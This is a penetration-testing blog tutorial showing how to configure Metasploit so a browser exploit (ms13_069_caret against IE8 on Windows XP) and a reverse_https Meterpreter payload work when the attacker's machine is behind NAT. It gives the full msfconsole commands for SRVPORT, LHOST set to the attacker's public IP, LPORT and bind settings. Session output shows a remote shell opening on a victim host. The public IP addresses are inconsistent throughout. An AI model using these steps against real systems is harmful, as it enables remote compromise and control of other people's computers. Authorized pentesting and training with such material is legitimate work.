Professional pentesters typically use a host that is connected directly to the internet, has a public IP address, and is not hindered by any firewalls or NAT devices to perform their audit. Hacking "naked" is considered to be the easiest way to perform a penetration test that involves getting shells back.
Not everyone has the luxury of putting a box directly connected to the internet and as the number of free public IP addresses continues to decrease, the need for using an audit box placed in a LAN, behind a router or firewall, will increase.
Putting an audit box behind a device that will translate traffic from private to public and vice versa has some consequences. Not only will you need to be sure that the NAT device won’t "break" if you start a rather fast portscan, but since the host is in a private LAN, behind a router or firewall, it won’t be reachable directly from the internet.
Serving exploits and handling reverse, incoming, shells can be problematic in this scenario.
In this small post, we’ll look at how to correctly configure Meterpreter payloads and make them work when your audit box is behind a NAT device. We’ll use a browser exploit to demonstrate how to get a working Meterpreter session, even if both the target and the Metasploit "attacker" box are behind NAT.
I’ll be using the following network setup in this post:
Both the attacker and the target are behind a NAT device. We don’t know the IP range used by the target and we’ve determined there is no direct way in from the internet to the target network, so the public IP of the target is not relevant.
We’ll assume that the target has the ability to connect to the internet over port 80 and 443.
I’ve used IP 188.8.131.52 to indicate the "public" side of our attack network. You will have to replace this IP with your own public IP when trying the steps in this post.
I will use Kali Linux as the attacker and I have set up a clone of the Metasploit Git repository on the box:
cd / mkdir -p /pentest/exploits git clone https://github.com/rapid7/metasploit.git cd metasploit-framework bundle install
If you already had a git clone set up, make sure to update to the latest and greatest with "git pull". (A small bug, related with using Meterpreter behind NAT was just fixed a few hours ago, so it’s important to update to the latest version)
The target is just a Windows XP SP3 box, but it doesn’t really matter what it is, as long as we can use a browser exploit to demonstrate how to use Meterpreter. I have installed Internet Explorer 8 from IECollection (download here: http://utilu.com/IECollection/). I’ll be using this IE version because it’s outdated and pretty much vulnerable to most of the IE8 browser exploits out there.
Set up forwarding on the attacker side
If we ever want to be able to accept connections from the target, we will need to configure the attacker firewall/NAT to forward traffic on certain ports. The exact steps to do this will be very specific to the brand/model/type of router/firewall that you are using, so this is beyond the scope of this post. In general, the idea is to configure the router/firewall so traffic to the public IP address of the router, on ports 80 and 443, will be forwarded to 192.168.0.187 (which is the LAN IP of my attacker box). When setting up the router/firewall, make sure to check if port 80 and/or 443 are not used by the router/firewall (management interface, VPN endpoint, etc).
We’ll use port 80 to serve the browser exploit and port 443 for the reverse Meterpreter connection. First, we need to verify that the forwarding works.
On Kali, create a small html file and store it under /tmp
root@krypto1:/# cd /tmp root@krypto1:/tmp# echo "It works" > test.html
Next, make sure nothing is currently using port 80 or port 443
root@krypto1:/tmp# netstat -vantu | grep :80 root@krypto1:/tmp# netstat -vantu | grep :443
If you don’t see output to both commands, you should be good to go. If something is listed, you’ll need to find what process is using the port and kill the process. For port 80, you could check the processes that are taking control over the http port using the following lsof command:
root@krypto1:/tmp# lsof -i | grep :http apache2 4634 root 4u IPv6 393366 0t0 TCP *:http (LISTEN) apache2 4642 www-data 4u IPv6 393366 0t0 TCP *:http (LISTEN) apache2 4643 www-data 4u IPv6 393366 0t0 TCP *:http (LISTEN) apache2 4644 www-data 4u IPv6 393366 0t0 TCP *:http (LISTEN) apache2 4645 www-data 4u IPv6 393366 0t0 TCP *:http (LISTEN) apache2 4646 www-data 4u IPv6 393366 0t0 TCP *:http (LISTEN)
Just stop apache2 to free up the port:
root@krypto1:/tmp# service apache2 stop Stopping web server: apache2 ... waiting . root@krypto1:/tmp#
With all ports available, we’ll run a simple web server and serve the "test.html" page. From the folder that contains the test.html file, run this python command:
root@krypto1:/tmp# python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ...
If you now connect to http://192.168.0.187/test.html from the Kali box itself, you should see the "It works" page and the
The output on the Kali box should list the connection and show that the page was served with response 200
root@krypto1:/tmp# python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ... 192.168.0.187 - - [04/Jan/2014 12:42:02] "GET /test.html HTTP/1.1" 200 -
Perfect, this proves that the webserver works. On the target computer, connect to http://184.108.40.206/test.html (again, replace 220.127.116.11 with the public IP of the router/firewall on the attacker side) and you should get the same thing. If you don’t see the page, check that the forwarding is set up correctly.
If this works for port 80, go back to the attacker box and terminate the python command using CTRL+C. Then launch the command again, this time using port 443:
root@krypto1:/tmp# python -m SimpleHTTPServer 443 Serving HTTP on 0.0.0.0 port 443 ...
Now access the webserver over port 443. Despite the fact that we are using 443 and that 443 is commonly associated with https (encrypted), our python handler is not using encryption. In other words, we still have to use http instead of https in the URL:
root@krypto1:/tmp# python -m SimpleHTTPServer 443 Serving HTTP on 0.0.0.0 port 443 ... 192.168.0.187 - - [04/Jan/2014 12:47:44] "GET /test.html HTTP/1.1" 200 - 192.168.0.187 - - [04/Jan/2014 12:47:44] code 404, message File not found 192.168.0.187 - - [04/Jan/2014 12:47:44] "GET /favicon.ico HTTP/1.1" 404 - 192.168.0.187 - - [04/Jan/2014 12:47:44] code 404, message File not found 192.168.0.187 - - [04/Jan/2014 12:47:44] "GET /favicon.ico HTTP/1.1" 404 -
(don’t worry about the 404 messages related with /favicon.ico – it’s safe to ignore them)
If you can connect to http://18.104.22.168:443/test.html from the target computer, we know that the port forwarding is working correctly for both port 80 and 443. If this doesn’t work, there’s no point in proceeding, because anything else we try will fail.
When everything works, close the python command to free up port 443 too.
Browser exploit – meterpreter/reverse_https
First of all, let’ set up Metasploit to serve the browser exploit and handle a reverse https Meterpreter connection. The idea is to trick the target into connecting to the exploit on port 80 and serve the meterpreter/reverse_https connection over port 443.
Go to the metasploit-framework folder, open msfconsole (don’t forget the ./ if you want to be sure you’re running msfconsole from the current folder and not the version that was installed with Kali) and select an exploit. For the sake of this exercise, I’ll use ms13_069_caret.rb:
root@krypto1:/tmp# cd /pentest/exploits/metasploit-framework/ (master) root@krypto1:/pentest/exploits/metasploit-framework# ./msfconsole , , / \ ((__---,,,---__)) (_) O O (_)_________ \ _ / |\ o_o \ M S F | \ \ _____ | * ||| WW||| ||| ||| =[ metasploit v4.9.0-dev [core:4.9 api:1.0] + -- --=[ 1248 exploits - 678 auxiliary - 199 post + -- --=[ 324 payloads - 32 encoders - 8 nops msf > use exploit/windows/browser/ms13_069_caret msf exploit(ms13_069_caret) >
Show the options:
msf exploit(ms13_069_caret) > show options Module options (exploit/windows/browser/ms13_069_caret): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) URIPATH no The URI to use for this exploit (default is random) Exploit target: Id Name -- ---- 0 IE 8 on Windows XP SP3
The exploit requires a SRVHOST and SRVPORT. These 2 variables will be used by Metasploit to determine where the webserver needs to bind to and listen on. The plan is to trick the target to connect to this webserver, using the public IP of our firewall/router, which will then forward the traffic to our Metasploit instance.
We can’t tell the Metasploit webserver to listen to the public IP of our router, because it won’t be able to "bind" itself to that IP address. If we use 0.0.0.0, the Metasploit webserver will simply listen on all interfaces for incoming traffic. In other words, you can leave the SRVHOST to 0.0.0.0, or you can set it to the LAN IP of the Kali box itself (192.168.0.187 in this case). I’ll just leave the default 0.0.0.0.
Next, we need to change the port to 80, and we’ll set the URIPATH to / (so we can predict what the URI will be, instead of letting Metasploit create a random URI):
msf exploit(ms13_069_caret) > set SRVPORT 80 SRVPORT => 80 msf exploit(ms13_069_caret) > set URIPATH / URIPATH => /
Next, let’s select the meterpreter reverse_https payload for windows. If we run "show options" again, we’ll see this:
msf exploit(ms13_069_caret) > set payload windows/meterpreter/reverse_https payload => windows/meterpreter/reverse_https msf exploit(ms13_069_caret) > show options Module options (exploit/windows/browser/ms13_069_caret): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 80 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) URIPATH / no The URI to use for this exploit (default is random) Payload options (windows/meterpreter/reverse_https): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LHOST yes The local listener hostname LPORT 443 yes The local listener port Exploit target: Id Name -- ---- 0 IE 8 on Windows XP SP3 msf exploit(ms13_069_caret) >
The Module options (SRVHOST and SRVPORT) are set the way we want it. The Payload options require an LHOST and LPORT. Based on the output above, the LPORT is already set to 443. This is the port where the Meterpreter reverse connection will attempt to connect to. If it was not set to 443 already on your box, simply run "set LPORT 443" to make sure the Meterpreter handler will listen on port 443:
msf exploit(ms13_069_caret) > set LPORT 443 LPORT => 443
Note: In any case, to keep things as easy as possible, try to use the same ports for a specific "service". That is, if you host the webserver on port 80 on the firewall, try to make sure to also forward traffic to port 80 on the attacker/Metasploit box, and host the exploit on port 80 in Metasploit. The same thing applies to the payload. If we serve the payload on port 443, make sure to use this port everywhere.
LHOST serves 2 purposes :
- It indicates the IP address where the Meterpreter shellcode will have to connect back to (from the target, to the attacker).
- It tells Metasploit where to bind to when setting up the Meterpreter "handler".
Since our attacker host is behind NAT, we have to use the public IP address of the router/firewall as LHOST. When the exploit is executed, this IP will be embedded in the shellcode and when the initial Meterpreter shellcode runs on the target, it will connect back to this IP address. The port forwarding on our router/firewall will then forward traffic to our LAN IP of the attacker host. For this reason, we need to set LHOST to 22.214.171.124 (the public IP of your attacker router/firewall)
Using a public IP as LHOST also means that Metasploit will attempt to bind itself to that IP when setting up the Meterpreter handler. Since this IP belongs to the router/firewall and not to the Metasploit instance, this will obviously fail. The good thing is that Metasploit will automatically fall back to 0.0.0.0 and basically serve the Meterpreter handler on all local IPs on the attacker host, while remembering that LHOST was set to our public IP address. This is exactly what we need.
Set LHOST to 126.96.36.199
msf exploit(ms13_069_caret) > set LHOST 188.8.131.52 LHOST => 184.108.40.206
If we don’t really want the Meterpreter handler to fall back to 0.0.0.0, we can use one of the "advanced" options and tell it to listen on the LAN IP address:
msf exploit(ms13_069_caret) > set ReverseListenerBindAddress 192.168.0.187 ReverseListenerBindAddress => 192.168.0.187
and then fire up the exploit:
msf exploit(ms13_069_caret) > exploit [*] Exploit running as background job. [*] Started HTTPS reverse handler on https://192.168.0.187:443/ [*] Using URL: http://0.0.0.0:80/ [*] Local IP: http://192.168.0.187:80/ [*] Server started.
The output shows us that
- http://0.0.0.0:80 (or http://192.168.0.187:80) is hosting the browser exploit. If the target connects to http://220.127.116.11, traffic will be forwarded to the Kali box on port 80 and serve the exploit.
- The HTTPS reverse handler is listening on 192.168.0.187, port 443.
What we don’t see in the output is the fact that the actual Meterpreter shellcode contains IP address 18.104.22.168 to connect back to. That value is taken from the LHOST variable.
If you didn’t use ReverseListenerBindAddress and you get something like the output below after running "exploit", then check the following
- check that the port is free to use
- make sure you are running the latest version of Metasploit
- set the ReverseListenerBindAddress to your local LAN IP or to 0.0.0.0
- exit msfconsole and open it again. under certain scenario’s, you’ll notice that the bind doesn’t get properly cleaned up if you ran a session before.
msf exploit(ms13_069_caret) > exploit [*] Exploit running as background job. [-] Exploit failed: Rex::AddressInUse The address is already in use (0.0.0.0:443).
If we now use IE8 (from IECollection) on the target and connect to the public IP of our attacker router/firewall on port 80, we should see this:
msf exploit(ms13_069_caret) > [*] 22.214.171.124 ms13_069_caret - Sending exploit... [*] 126.96.36.199 ms13_069_caret - Sending exploit... [*] 188.8.131.52:53893 Request received for /NtFT... [*] 184.108.40.206:53893 Staging connection for target /NtFT received... [*] Patched user-agent at offset 663128... [*] Patched transport at offset 662792... [*] Patched URL at offset 662856... [*] Patched Expiration Timeout at offset 663728... [*] Patched Communication Timeout at offset 663732... [*] Meterpreter session 1 opened (192.168.0.187:443 -> 220.127.116.11:53893) at 2014-01-05 09:24:26 +0100 [*] Session ID 1 (192.168.0.187:443 -> 18.104.22.168:53893) processing InitialAutoRunScript 'migrate -f' [*] Current server process: iexplore.exe (2952) [*] Spawning notepad.exe process to migrate to [+] Migrating to 500 [+] Successfully migrated to process msf exploit(ms13_069_caret) > sessions -i 1 [*] Starting interaction with 1... meterpreter > shell Process 592 created. Channel 1 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\peter\Desktop>
22.214.171.124 is the public IP of the target. Metasploit is sending the payload when the target connects to port 80, exploits the browser and executes the initial meterpreter payload. This payload will download metsrv.dll (which gets patched by Metasploit first, so it would contain the attacker public IP and port), loads it into memory (using reflective load) and runs the code. When that is done, you get a full Meterpreter session. Life is good.
So, in a nutshell, set the following variables and you should be good to go:
- SRVHOST : 0.0.0.0
- SRVPORT : set to the port where you want to host the browser exploit
- LHOST : the attacker public IP
- LPORT : set to the port where you want to serve the Meterpreter handler
- ReverseListenerBindAddress : LAN IP (optional)
If, for whatever reason, you also want to host the Meterpreter handler on another port than what the client will connect to, then you can use LPORT to specify where the target will connect back to, and use ReverseListenerBindPort to indicate where the handler needs to listen to. Obviously, you’ll need to make sure the port forwarding will connect to the right port on your attacker machine.
© 2014, Corelan Team (corelanc0d3r). All rights reserved.